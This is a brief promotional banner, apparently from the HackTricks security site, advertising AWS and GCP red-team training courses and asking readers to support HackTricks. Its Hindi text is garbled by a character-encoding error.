AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ